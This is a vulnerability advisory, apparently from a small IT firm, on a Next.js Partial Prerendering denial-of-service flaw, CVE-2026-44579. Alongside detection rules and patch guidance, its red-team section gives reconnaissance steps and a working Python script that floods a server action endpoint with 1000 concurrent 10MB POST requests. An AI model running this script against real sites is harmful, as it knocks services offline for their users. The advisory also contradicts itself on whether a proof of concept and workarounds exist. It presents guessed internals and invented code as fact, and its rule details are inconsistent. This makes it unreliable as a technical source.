CVE-2026-44579

Executive Summary

CVE-2026-44579 is a high-severity Denial of Service (DoS) vulnerability affecting Next.js, a popular React framework developed by Vercel. The flaw resides in the Partial Prerendering (PPR) feature, specifically within the Cache Components mechanism. By sending a crafted POST request to a server action, an unauthenticated attacker can trigger a request-body handling deadlock. This deadlock causes connections to remain open for an extended period, exhausting file descriptors and server capacity, ultimately leading to a denial of service for legitimate users. The vulnerability has been patched in versions 15.5.16 and 16.2.5. No public proof-of-concept (PoC) code or exploit is currently available, but the technical nature of the flaw makes it exploitable by determined adversaries.

Supply Chain & Package Security

Next.js is distributed via the npm registry. This vulnerability affects the core framework, not a third-party plugin. Organizations using Next.js in production should immediately audit their dependency trees for affected versions. The supply chain risk is moderate, as the vulnerability is in the framework itself and can be triggered by any unauthenticated user sending a POST request to a server action endpoint. Patching is the primary mitigation; no workarounds are available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required; a crafted POST request suffices.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is altered.
• Availability (A): High – The primary impact is complete denial of service.

Threat Level: High. The low attack complexity and lack of required privileges make this a serious threat for any publicly accessible Next.js application using Partial Prerendering.

Deep Dive & Mechanics

The vulnerability is rooted in the interaction between Next.js's Partial Prerendering (PPR) feature and server actions. PPR allows developers to combine static and dynamic content in a single page. When a POST request is sent to a server action endpoint, the framework must read and parse the request body. In affected versions, a race condition or improper locking mechanism in the request-body handling code can lead to a deadlock.

Technical Flow:

1. An attacker sends a POST request to a server action endpoint (e.g., /api/action or a form action).
2. The request body is large or crafted to trigger a specific state in the body parser.
3. The PPR cache component attempts to read the body while another part of the framework holds a lock on the same resource.
4. A deadlock occurs: both processes wait indefinitely for the other to release the lock.
5. The connection remains open, consuming a file descriptor and server thread.
6. Repeated requests exhaust available file descriptors, preventing new connections.

The deadlock is specific to the Cache Components feature of PPR, which is not enabled by default. However, any application using experimental.ppr = true or the cache() API is vulnerable.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but the patch addresses the deadlock by ensuring proper lock ordering and timeout mechanisms in the request-body handling pipeline.

Vulnerable Pattern (Conceptual):

// Vulnerable: Potential deadlock when reading body and cache simultaneously
async function handleServerAction(req, res) {
  const body = await readBody(req); // Holds lock on body stream
  const cacheResult = await cacheComponent(body); // Tries to acquire cache lock
  // Deadlock if cache lock is held by another process waiting for body lock
}

Patched Pattern (Conceptual):

// Patched: Use a timeout and non-blocking lock acquisition
async function handleServerAction(req, res) {
  const body = await readBodyWithTimeout(req, 5000); // Timeout prevents indefinite wait
  const cacheResult = await cacheComponentNonBlocking(body); // Non-blocking lock
}

The patch likely introduces a timeout for body reading and ensures that locks are acquired in a consistent order to prevent deadlocks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Next.js application with PPR enabled (experimental.ppr: true in next.config.js).
• A server action endpoint (e.g., a form action or API route).

Exploitation Steps:

1. Identify a target Next.js application. Use Shodan dorks or manual inspection for __NEXT_DATA__ or _next/static in HTML.
2. Confirm PPR is enabled by checking for __NEXT_PPR__ in the page source or by observing static/dynamic content mixing.
3. Craft a POST request to a server action endpoint with a large body (e.g., 10MB of random data) and a specific Content-Type (e.g., application/x-www-form-urlencoded or multipart/form-data).
4. Send multiple concurrent requests (e.g., 1000) using a tool like curl, wrk, or a custom Python script.

Example Exploit Script (Python):

import requests
import threading

target_url = "https://target.com/api/action"
body = "A" * 10_000_000  # 10MB payload

def send_request():
    try:
        requests.post(target_url, data=body, timeout=30)
    except:
        pass

threads = []
for _ in range(1000):
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

Expected Outcome: The server becomes unresponsive to new requests after exhausting file descriptors.

Blue Team (Detection & Defense)

Detection:

• Monitor for a high number of concurrent connections from a single IP.
• Alert on server actions receiving unusually large POST bodies.
• Track file descriptor usage on the server; a sudden spike indicates an attack.

Defense:

• Immediately patch to Next.js 15.5.16 or 16.2.5.
• If patching is delayed, disable Partial Prerendering (experimental.ppr: false).
• Implement rate limiting on server action endpoints.
• Use a Web Application Firewall (WAF) to block requests with excessively large bodies.
• Set connection timeouts at the reverse proxy level (e.g., Nginx proxy_read_timeout).

Indicators of Compromise (IOCs)

• Network:
  • High volume of POST requests to /api/* or form action endpoints.
  • Requests with Content-Length > 5MB.
  • Multiple connections from the same IP with long durations (>30 seconds).
• System:
  • Elevated file descriptor usage (/proc/sys/fs/file-nr).
  • Server logs showing "Too many open files" errors.
  • Application logs with "ETIMEDOUT" or "ECONNRESET" errors.
• Application:
  • Server actions failing with "Request body read timeout" errors (if patched).
  • Increased latency for all requests.

Detection Engineering

YARA Rule

rule CVE_2026_44579_NextJS_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2026-44579 via large POST bodies"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "POST" ascii wide nocase
        $s2 = "/api/" ascii wide nocase
        $s3 = "Content-Length:" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and filesize > 5000000
}

Sigma Rule

title: CVE-2026-44579 Next.js DoS via Large POST Body
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests with large bodies to Next.js server actions
author: Valters IT
logsource:
    category: webserver
    product: nextjs
detection:
    selection:
        http_method: 'POST'
        uri|contains: '/api/'
        content_length|gte: 5000000
    condition: selection
falsepositives:
    - Legitimate file uploads (rare for server actions)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-44579 Next.js DoS Attempt - Large POST Body";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/api/";
    http.content_len; >=:5000000;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Next.js 15.5.16 or 16.2.5 immediately.

   npm install next@15.5.16
   # or
   npm install next@16.2.5
   

2. Disable PPR: If patching is not possible, set experimental.ppr: false in next.config.js.
3. Rate Limit: Implement rate limiting on server action endpoints using middleware or a reverse proxy.
4. Connection Timeouts: Configure timeouts at the load balancer or reverse proxy (e.g., Nginx proxy_read_timeout 10s;).

Long-Term Measures:

• Monitor for new CVEs in Next.js and subscribe to Vercel's security advisories.
• Implement a Web Application Firewall (WAF) with rules to block large POST bodies.
• Conduct regular penetration testing focusing on DoS vectors.
• Use container orchestration (e.g., Kubernetes) with resource limits to mitigate impact.

Workarounds (if patching is delayed):

• Disable server actions entirely (serverActions: false in config).
• Use a reverse proxy to limit request body size (e.g., Nginx client_max_body_size 1m;).

Valters IT